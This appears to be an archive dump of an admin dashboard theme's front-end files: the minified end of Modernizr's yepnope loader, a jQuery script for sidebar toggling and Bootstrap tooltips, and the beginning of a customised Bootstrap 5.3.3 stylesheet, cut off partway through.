b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};js/custom.js000066600000007014151150443030007032 0ustar00$.sidebarMenu = function (menu) {
	var animationSpeed = 300;

	$(menu).on("click", "li a", function (e) {
		var $this = $(this);
		var checkElement = $this.next();

		if (checkElement.is(".treeview-menu") && checkElement.is(":visible")) {
			checkElement.slideUp(animationSpeed, function () {
				checkElement.removeClass("menu-open");
			});
			checkElement.parent("li").removeClass("active");
		}

		//If the menu is not visible
		else if (
			checkElement.is(".treeview-menu") &&
			!checkElement.is(":visible")
		) {
			//Get the parent menu
			var parent = $this.parents("ul").first();
			//Close all open menus within the parent
			var ul = parent.find("ul:visible").slideUp(animationSpeed);
			//Remove the menu-open class from the parent
			ul.removeClass("menu-open");
			//Get the parent li
			var parent_li = $this.parent("li");

			//Open the target menu and add the menu-open class
			checkElement.slideDown(animationSpeed, function () {
				//Add the class active to the parent li
				checkElement.addClass("menu-open");
				parent.find("li.active").removeClass("active");
				parent_li.addClass("active");
			});
		}
		//if this isn't a link, prevent the page from being redirected
		if (checkElement.is(".treeview-menu")) {
			e.preventDefault();
		}
	});
};
$.sidebarMenu($(".sidebar-menu"));

// Custom Sidebar JS
jQuery(function ($) {
	//toggle sidebar
	$(".toggle-sidebar").on("click", function () {
		$(".page-wrapper").toggleClass("toggled");
	});

	// Pin sidebar on click
	$(".pin-sidebar").on("click", function () {
		if ($(".page-wrapper").hasClass("pinned")) {
			// unpin sidebar when hovered
			$(".page-wrapper").removeClass("pinned");
			$("#sidebar").unbind("hover");
		} else {
			$(".page-wrapper").addClass("pinned");
			$("#sidebar").hover(
				function () {
					console.log("mouseenter");
					$(".page-wrapper").addClass("sidebar-hovered");
				},
				function () {
					console.log("mouseout");
					$(".page-wrapper").removeClass("sidebar-hovered");
				}
			);
		}
	});

	// Pinned sidebar
	$(function () {
		$(".page-wrapper").hasClass("pinned");
		$("#sidebar").hover(
			function () {
				console.log("mouseenter");
				$(".page-wrapper").addClass("sidebar-hovered");
			},
			function () {
				console.log("mouseout");
				$(".page-wrapper").removeClass("sidebar-hovered");
			}
		);
	});

	// Toggle sidebar overlay
	$("#overlay").on("click", function () {
		$(".page-wrapper").toggleClass("toggled");
	});

	// Added by Srinu
	$(function () {
		// When the window is resized,
		$(window).resize(function () {
			// When the width and height meet your specific requirements or lower
			if ($(window).width() <= 768) {
				$(".page-wrapper").removeClass("pinned");
			}
		});
		// When the window is resized,
		$(window).resize(function () {
			// When the width and height meet your specific requirements or lower
			if ($(window).width() >= 768) {
				$(".page-wrapper").removeClass("toggled");
			}
		});
	});
});

/***********
***********
***********
	Bootstrap JS 
***********
***********
***********/

// Tooltip
var tooltipTriggerList = [].slice.call(
	document.querySelectorAll('[data-bs-toggle="tooltip"]')
);
var tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) {
	return new bootstrap.Tooltip(tooltipTriggerEl);
});

// Popover
var popoverTriggerList = [].slice.call(
	document.querySelectorAll('[data-bs-toggle="popover"]')
);
var popoverList = popoverTriggerList.map(function (popoverTriggerEl) {
	return new bootstrap.Popover(popoverTriggerEl);
});

// Card Loading
$(function () {
	$(".card-loader").fadeOut(2000);
});
css/main.min.css000066600001001672151150443030007563 0ustar00/*!
 * Bootstrap  v5.3.3 (https://getbootstrap.com/)
 * Copyright 2011-2024 The Bootstrap Authors
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
 */:root,[data-bs-theme=light]{--bs-blue: #0d6efd;--bs-indigo: #6610f2;--bs-purple: #6f42c1;--bs-pink: #d63384;--bs-red: #dc3545;--bs-orange: #fd7e14;--bs-yellow: #ffc107;--bs-green: #198754;--bs-teal: #20c997;--bs-cyan: #0dcaf0;--bs-black: #000000;--bs-white: #ffffff;--bs-gray: #3d3e47;--bs-gray-dark: #17171b;--bs-gray-100: #e5e6ec;--bs-gray-200: #d2d3dd;--bs-gray-300: #b6b8c4;--bs-gray-400: #838593;--bs-gray-500: #5a5c68;--bs-gray-600: #3d3e47;--bs-gray-700: #2d2e35;--bs-gray-800: #17171b;--bs-gray-900: #080809;--bs-primary: #5b4fb9;--bs-secondary: #d0d5e1;--bs-danger: #f27436;--bs-success: #7aa748;--bs-info: #00a1ff;--bs-warning: #ffc23e;--bs-light: #edf0f7;--bs-dark: #202020;--bs-primary-rgb: 91, 79, 185;--bs-secondary-rgb: 208, 213, 225;--bs-danger-rgb: 242, 116, 54;--bs-success-rgb: 122, 167, 72;--bs-info-rgb: 0, 161, 255;--bs-warning-rgb: 255, 194, 62;--bs-light-rgb: 237, 240, 247;--bs-dark-rgb: 32, 32, 32;--bs-primary-text-emphasis: #24204a;--bs-secondary-text-emphasis: #53555a;--bs-success-text-emphasis: #31431d;--bs-info-text-emphasis: #004066;--bs-warning-text-emphasis: #664e19;--bs-danger-text-emphasis: #612e16;--bs-light-text-emphasis: #2d2e35;--bs-dark-text-emphasis: #2d2e35;--bs-primary-bg-subtle: #f1f0f9;--bs-secondary-bg-subtle: #e9ebf1;--bs-success-bg-subtle: #f2f7ed;--bs-info-bg-subtle: #e6f6ff;--bs-warning-bg-subtle: #fffcf6;--bs-danger-bg-subtle: #fef2ec;--bs-light-bg-subtle: white;--bs-dark-bg-subtle: #f9f9f9;--bs-primary-border-subtle: #bdb9e3;--bs-secondary-border-subtle: #eceef3;--bs-success-border-subtle: #cadcb6;--bs-info-border-subtle: #99d9ff;--bs-warning-border-subtle: #ffe7b2;--bs-danger-border-subtle: #fac7af;--bs-light-border-subtle: #d2d3dd;--bs-dark-border-subtle: #5a5c68;--bs-white-rgb: 255, 255, 255;--bs-black-rgb: 0, 0, 0;--bs-font-sans-serif: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", "Liberation Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";--bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;--bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family: var(--bs-font-sans-serif);--bs-body-font-size:0.9rem;--bs-body-font-weight: 400;--bs-body-line-height: 1.5;--bs-body-color: #1c1c1c;--bs-body-color-rgb: 28, 28, 28;--bs-body-bg: #ffffff;--bs-body-bg-rgb: 255, 255, 255;--bs-emphasis-color: #000000;--bs-emphasis-color-rgb: 0, 0, 0;--bs-secondary-color: rgba(28, 28, 28, 0.75);--bs-secondary-color-rgb: 28, 28, 28;--bs-secondary-bg: #d2d3dd;--bs-secondary-bg-rgb: 210, 211, 221;--bs-tertiary-color: rgba(28, 28, 28, 0.5);--bs-tertiary-color-rgb: 28, 28, 28;--bs-tertiary-bg: #e5e6ec;--bs-tertiary-bg-rgb: 229, 230, 236;--bs-heading-color: inherit;--bs-link-color: #5b4fb9;--bs-link-color-rgb: 91, 79, 185;--bs-link-decoration: underline;--bs-link-hover-color: #493f94;--bs-link-hover-color-rgb: 73, 63, 148;--bs-code-color: #d63384;--bs-highlight-color: #1c1c1c;--bs-highlight-bg: #fff3cd;--bs-border-width: 1px;--bs-border-style: solid;--bs-border-color: #e5e6ec;--bs-border-color-translucent: rgba(0, 0, 0, 0.175);--bs-border-radius: 0.5rem;--bs-border-radius-sm: 0.3rem;--bs-border-radius-lg: 0.5rem;--bs-border-radius-xl: 1rem;--bs-border-radius-xxl: 2rem;--bs-border-radius-2xl: var(--bs-border-radius-xxl);--bs-border-radius-pill: 50rem;--bs-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-box-shadow-sm: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-box-shadow-lg: 0 1rem 3rem rgba(0, 0, 0, 0.175);--bs-box-shadow-inset: inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-focus-ring-width: 0.25rem;--bs-focus-ring-opacity: 0.25;--bs-focus-ring-color: rgba(91, 79, 185, 0.25);--bs-form-valid-color: #7aa748;--bs-form-valid-border-color: #7aa748;--bs-form-invalid-color: #f27436;--bs-form-invalid-border-color: #f27436}[data-bs-theme=dark]{color-scheme:dark;--bs-body-color: #b6b8c4;--bs-body-color-rgb: 182, 184, 196;--bs-body-bg: #e4e8ee;--bs-body-bg-rgb: 228, 232, 238;--bs-emphasis-color: #ffffff;--bs-emphasis-color-rgb: 255, 255, 255;--bs-secondary-color: rgba(182, 184, 196, 0.75);--bs-secondary-color-rgb: 182, 184, 196;--bs-secondary-bg: #17171b;--bs-secondary-bg-rgb: 23, 23, 27;--bs-tertiary-color: rgba(182, 184, 196, 0.5);--bs-tertiary-color-rgb: 182, 184, 196;--bs-tertiary-bg: #101012;--bs-tertiary-bg-rgb: 16, 16, 18;--bs-primary-text-emphasis: #9d95d5;--bs-secondary-text-emphasis: #e3e6ed;--bs-success-text-emphasis: #afca91;--bs-info-text-emphasis: #66c7ff;--bs-warning-text-emphasis: #ffda8b;--bs-danger-text-emphasis: #f7ac86;--bs-light-text-emphasis: #e5e6ec;--bs-dark-text-emphasis: #b6b8c4;--bs-primary-bg-subtle: #121025;--bs-secondary-bg-subtle: #2a2b2d;--bs-success-bg-subtle: #18210e;--bs-info-bg-subtle: #002033;--bs-warning-bg-subtle: #33270c;--bs-danger-bg-subtle: #30170b;--bs-light-bg-subtle: #17171b;--bs-dark-bg-subtle: #0c0c0e;--bs-primary-border-subtle: #372f6f;--bs-secondary-border-subtle: #7d8087;--bs-success-border-subtle: #49642b;--bs-info-border-subtle: #006199;--bs-warning-border-subtle: #997425;--bs-danger-border-subtle: #914620;--bs-light-border-subtle: #2d2e35;--bs-dark-border-subtle: #17171b;--bs-heading-color: inherit;--bs-link-color: #9d95d5;--bs-link-hover-color: #b1aadd;--bs-link-color-rgb: 157, 149, 213;--bs-link-hover-color-rgb: 177, 170, 221;--bs-code-color: #e685b5;--bs-highlight-color: #b6b8c4;--bs-highlight-bg: #664d03;--bs-border-color: #2d2e35;--bs-border-color-translucent: rgba(255, 255, 255, 0.15);--bs-form-valid-color: #75b798;--bs-form-valid-border-color: #75b798;--bs-form-invalid-color: #ea868f;--bs-form-invalid-border-color: #ea868f}*,*::before,*::after{box-sizing:border-box}@media(prefers-reduced-motion: no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:rgba(0,0,0,0)}hr{margin:1rem 0;color:inherit;border:0;border-top:var(--bs-border-width) solid;opacity:.25}h6,.h6,h5,.h5,h4,.h4,h3,.h3,h2,.h2,h1,.h1{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;color:var(--bs-heading-color)}h1,.h1{font-size:calc(1.35rem + 1.2vw)}@media(min-width: 1200px){h1,.h1{font-size:2.25rem}}h2,.h2{font-size:calc(1.305rem + 0.66vw)}@media(min-width: 1200px){h2,.h2{font-size:1.8rem}}h3,.h3{font-size:calc(1.2825rem + 0.39vw)}@media(min-width: 1200px){h3,.h3{font-size:1.575rem}}h4,.h4{font-size:calc(1.26rem + 0.12vw)}@media(min-width: 1200px){h4,.h4{font-size:1.35rem}}h5,.h5{font-size:1.125rem}h6,.h6{font-size:0.9rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{text-decoration:underline dotted;cursor:help;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small,.small{font-size:0.875em}mark,.mark{padding:.1875em;color:var(--bs-highlight-color);background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:0.75em;line-height:0;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}a{color:rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 1));text-decoration:underline}a:hover{--bs-link-color-rgb: var(--bs-link-hover-color-rgb)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}pre,code,kbd,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:0.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:0.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:0.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.3rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-secondary-color);text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}thead,tbody,tfoot,tr,td,th{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none !important}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button:not(:disabled),[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + 0.3vw);line-height:inherit}@media(min-width: 1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-text,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none !important}.lead{font-size:1.125rem;font-weight:300}.display-1{font-size:calc(1.625rem + 4.5vw);font-weight:300;line-height:1.2}@media(min-width: 1200px){.display-1{font-size:5rem}}.display-2{font-size:calc(1.575rem + 3.9vw);font-weight:300;line-height:1.2}@media(min-width: 1200px){.display-2{font-size:4.5rem}}.display-3{font-size:calc(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media(min-width: 1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media(min-width: 1200px){.display-4{font-size:3.5rem}}.display-5{font-size:calc(1.425rem + 2.1vw);font-weight:300;line-height:1.2}@media(min-width: 1200px){.display-5{font-size:3rem}}.display-6{font-size:calc(1.375rem + 1.5vw);font-weight:300;line-height:1.2}@media(min-width: 1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:0.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.125rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:0.875em;color:#3d3e47}.blockquote-footer::before{content:"— "}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:var(--bs-body-bg);border:var(--bs-border-width) solid var(--bs-border-color);border-radius:var(--bs-border-radius);max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:0.875em;color:var(--bs-secondary-color)}.container,.container-fluid,.container-xxl,.container-xl,.container-lg,.container-md,.container-sm{--bs-gutter-x: 1.5rem;--bs-gutter-y: 0;width:100%;padding-right:calc(var(--bs-gutter-x)*.5);padding-left:calc(var(--bs-gutter-x)*.5);margin-right:auto;margin-left:auto}@media(min-width: 576px){.container-sm,.container{max-width:540px}}@media(min-width: 768px){.container-md,.container-sm,.container{max-width:720px}}@media(min-width: 992px){.container-lg,.container-md,.container-sm,.container{max-width:960px}}@media(min-width: 1200px){.container-xl,.container-lg,.container-md,.container-sm,.container{max-width:1140px}}@media(min-width: 1400px){.container-xxl,.container-xl,.container-lg,.container-md,.container-sm,.container{max-width:1320px}}:root{--bs-breakpoint-xs: 0;--bs-breakpoint-sm: 576px;--bs-breakpoint-md: 768px;--bs-breakpoint-lg: 992px;--bs-breakpoint-xl: 1200px;--bs-breakpoint-xxl: 1400px}.row{--bs-gutter-x: 1.5rem;--bs-gutter-y: 0;display:flex;flex-wrap:wrap;margin-top:calc(-1*var(--bs-gutter-y));margin-right:calc(-0.5*var(--bs-gutter-x));margin-left:calc(-0.5*var(--bs-gutter-x))}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x)*.5);padding-left:calc(var(--bs-gutter-x)*.5);margin-top:var(--bs-gutter-y)}.grid{display:grid;grid-template-rows:repeat(var(--bs-rows, 1), 1fr);grid-template-columns:repeat(var(--bs-columns, 12), 1fr);gap:var(--bs-gap, 1.5rem)}.grid .g-col-1{grid-column:auto/span 1}.grid .g-col-2{grid-column:auto/span 2}.grid .g-col-3{grid-column:auto/span 3}.grid .g-col-4{grid-column:auto/span 4}.grid .g-col-5{grid-column:auto/span 5}.grid .g-col-6{grid-column:auto/span 6}.grid .g-col-7{grid-column:auto/span 7}.grid .g-col-8{grid-column:auto/span 8}.grid .g-col-9{grid-column:auto/span 9}.grid .g-col-10{grid-column:auto/span 10}.grid .g-col-11{grid-column:auto/span 11}.grid .g-col-12{grid-column:auto/span 12}.grid .g-start-1{grid-column-start:1}.grid .g-start-2{grid-column-start:2}.grid .g-start-3{grid-column-start:3}.grid .g-start-4{grid-column-start:4}.grid .g-start-5{grid-column-start:5}.grid .g-start-6{grid-column-start:6}.grid .g-start-7{grid-column-start:7}.grid .g-start-8{grid-column-start:8}.grid .g-start-9{grid-column-start:9}.grid .g-start-10{grid-column-start:10}.grid .g-start-11{grid-column-start:11}@media(min-width: 576px){.grid .g-col-sm-1{grid-column:auto/span 1}.grid .g-col-sm-2{grid-column:auto/span 2}.grid .g-col-sm-3{grid-column:auto/span 3}.grid .g-col-sm-4{grid-column:auto/span 4}.grid .g-col-sm-5{grid-column:auto/span 5}.grid .g-col-sm-6{grid-column:auto/span 6}.grid .g-col-sm-7{grid-column:auto/span 7}.grid .g-col-sm-8{grid-column:auto/span 8}.grid .g-col-sm-9{grid-column:auto/span 9}.grid .g-col-sm-10{grid-column:auto/span 10}.grid .g-col-sm-11{grid-column:auto/span 11}.grid .g-col-sm-12{grid-column:auto/span 12}.grid .g-start-sm-1{grid-column-start:1}.grid .g-start-sm-2{grid-column-start:2}.grid .g-start-sm-3{grid-column-start:3}.grid .g-start-sm-4{grid-column-start:4}.grid .g-start-sm-5{grid-column-start:5}.grid .g-start-sm-6{grid-column-start:6}.grid .g-start-sm-7{grid-column-start:7}.grid .g-start-sm-8{grid-column-start:8}.grid .g-start-sm-9{grid-column-start:9}.grid .g-start-sm-10{grid-column-start:10}.grid .g-start-sm-11{grid-column-start:11}}@media(min-width: 768px){.grid .g-col-md-1{grid-column:auto/span 1}.grid .g-col-md-2{grid-column:auto/span 2}.grid .g-col-md-3{grid-column:auto/span 3}.grid .g-col-md-4{grid-column:auto/span 4}.grid .g-col-md-5{grid-column:auto/span 5}.grid .g-col-md-6{grid-column:auto/span 6}.grid .g-col-md-7{grid-column:auto/span 7}.grid .g-col-md-8{grid-column:auto/span 8}.grid .g-col-md-9{grid-column:auto/span 9}.grid .g-col-md-10{grid-column:auto/span 10}.grid .g-col-md-11{grid-column:auto/span 11}.grid .g-col-md-12{grid-column:auto/span 12}.grid .g-start-md-1{grid-column-start:1}.grid .g-start-md-2{grid-column-start:2}.grid .g-start-md-3{grid-column-start:3}.grid .g-start-md-4{grid-column-start:4}.grid .g-start-md-5{grid-column-start:5}.grid .g-start-md-6{grid-column-start:6}.grid .g-start-md-7{grid-column-start:7}.grid .g-start-md-8{grid-column-start:8}.grid .g-start-md-9{grid-column-start:9}.grid .g-start-md-10{grid-column-start:10}.grid .g-start-md-11{grid-column-start:11}}@media(min-width: 992px){.grid .g-col-lg-1{grid-column:auto/span 1}.grid .g-col-lg-2{grid-column:auto/span 2}.grid .g-col-lg-3{grid-column:auto/span 3}.grid .g-col-lg-4{grid-column:auto/span 4}.grid .g-col-lg-5{grid-column:auto/span 5}.grid .g-col-lg-6{grid-column:auto/span 6}.grid .g-col-lg-7{grid-column:auto/span 7}.grid .g-col-lg-8{grid-column:auto/span 8}.grid .g-col-lg-9{grid-column:auto/span 9}.grid .g-col-lg-10{grid-column:auto/span 10}.grid .g-col-lg-11{grid-column:auto/span 11}.grid .g-col-lg-12{grid-column:auto/span 12}.grid .g-start-lg-1{grid-column-start:1}.grid .g-start-lg-2{grid-column-start:2}.grid .g-start-lg-3{grid-column-start:3}.grid .g-start-lg-4{grid-column-start:4}.grid .g-start-lg-5{grid-column-start:5}.grid .g-start-lg-6{grid-column-start:6}.grid .g-start-lg-7{grid-column-start:7}.grid .g-start-lg-8{grid-column-start:8}.grid .g-start-lg-9{grid-column-start:9}.grid .g-start-lg-10{grid-column-start:10}.grid .g-start-lg-11{grid-column-start:11}}@media(min-width: 1200px){.grid .g-col-xl-1{grid-column:auto/span 1}.grid .g-col-xl-2{grid-column:auto/span 2}.grid .g-col-xl-3{grid-column:auto/span 3}.grid .g-col-xl-4{grid-column:auto/span 4}.grid .g-col-xl-5{grid-column:auto/span 5}.grid .g-col-xl-6{grid-column:auto/span 6}.grid .g-col-xl-7{grid-column:auto/span 7}.grid .g-col-xl-8{grid-column:auto/span 8}.grid .g-col-xl-9{grid-column:auto/span 9}.grid .g-col-xl-10{grid-column:auto/span 10}.grid .g-col-xl-11{grid-column:auto/span 11}.grid .g-col-xl-12{grid-column:auto/span 12}.grid .g-start-xl-1{grid-column-start:1}.grid .g-start-xl-2{grid-column-start:2}.grid .g-start-xl-3{grid-column-start:3}.grid .g-start-xl-4{grid-column-start:4}.grid .g-start-xl-5{grid-column-start:5}.grid .g-start-xl-6{grid-column-start:6}.grid .g-start-xl-7{grid-column-start:7}.grid .g-start-xl-8{grid-column-start:8}.grid .g-start-xl-9{grid-column-start:9}.grid .g-start-xl-10{grid-column-start:10}.grid .g-start-xl-11{grid-column-start:11}}@media(min-width: 1400px){.grid .g-col-xxl-1{grid-column:auto/span 1}.grid .g-col-xxl-2{grid-column:auto/span 2}.grid .g-col-xxl-3{grid-column:auto/span 3}.grid .g-col-xxl-4{grid-column:auto/span 4}.grid .g-col-xxl-5{grid-column:auto/span 5}.grid .g-col-xxl-6{grid-column:auto/span 6}.grid .g-col-xxl-7{grid-column:auto/span 7}.grid .g-col-xxl-8{grid-column:auto/span 8}.grid .g-col-xxl-9{grid-column:auto/span 9}.grid .g-col-xxl-10{grid-column:auto/span 10}.grid .g-col-xxl-11{grid-column:auto/span 11}.grid .g-col-xxl-12{grid-column:auto/span 12}.grid .g-start-xxl-1{grid-column-start:1}.grid .g-start-xxl-2{grid-column-start:2}.grid .g-start-xxl-3{grid-column-start:3}.grid .g-start-xxl-4{grid-column-start:4}.grid .g-start-xxl-5{grid-column-start:5}.grid .g-start-xxl-6{grid-column-start:6}.grid .g-start-xxl-7{grid-column-start:7}.grid .g-start-xxl-8{grid-column-start:8}.grid .g-start-xxl-9{grid-column-start:9}.grid .g-start-xxl-10{grid-column-start:10}.grid .g-start-xxl-11{grid-column-start:11}}.col{flex:1 0 0%}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.66666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.33333333%}.col-2{flex:0 0 auto;width:16.66666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.33333333%}.col-5{flex:0 0 auto;width:41.66666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.33333333%}.col-8{flex:0 0 auto;width:66.66666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.33333333%}.col-11{flex:0 0 auto;width:91.66666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}.g-0,.gx-0{--bs-gutter-x: 0}.g-0,.gy-0{--bs-gutter-y: 0}.g-1,.gx-1{--bs-gutter-x: 0.25rem}.g-1,.gy-1{--bs-gutter-y: 0.25rem}.g-2,.gx-2{--bs-gutter-x: 0.5rem}.g-2,.gy-2{--bs-gutter-y: 0.5rem}.g-3,.gx-3{--bs-gutter-x: 1rem}.g-3,.gy-3{--bs-gutter-y: 1rem}.g-4,.gx-4{--bs-gutter-x: 1.5rem}.g-4,.gy-4{--bs-gutter-y: 1.5rem}.g-5,.gx-5{--bs-gutter-x: 3rem}.g-5,.gy-5{--bs-gutter-y: 3rem}@media(min-width: 576px){.col-sm{flex:1 0 0%}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.66666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:16.66666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.33333333%}.col-sm-5{flex:0 0 auto;width:41.66666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.33333333%}.col-sm-8{flex:0 0 auto;width:66.66666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.33333333%}.col-sm-11{flex:0 0 auto;width:91.66666667%}.col-sm-12{flex:0 0 auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x: 0}.g-sm-0,.gy-sm-0{--bs-gutter-y: 0}.g-sm-1,.gx-sm-1{--bs-gutter-x: 0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y: 0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x: 0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y: 0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x: 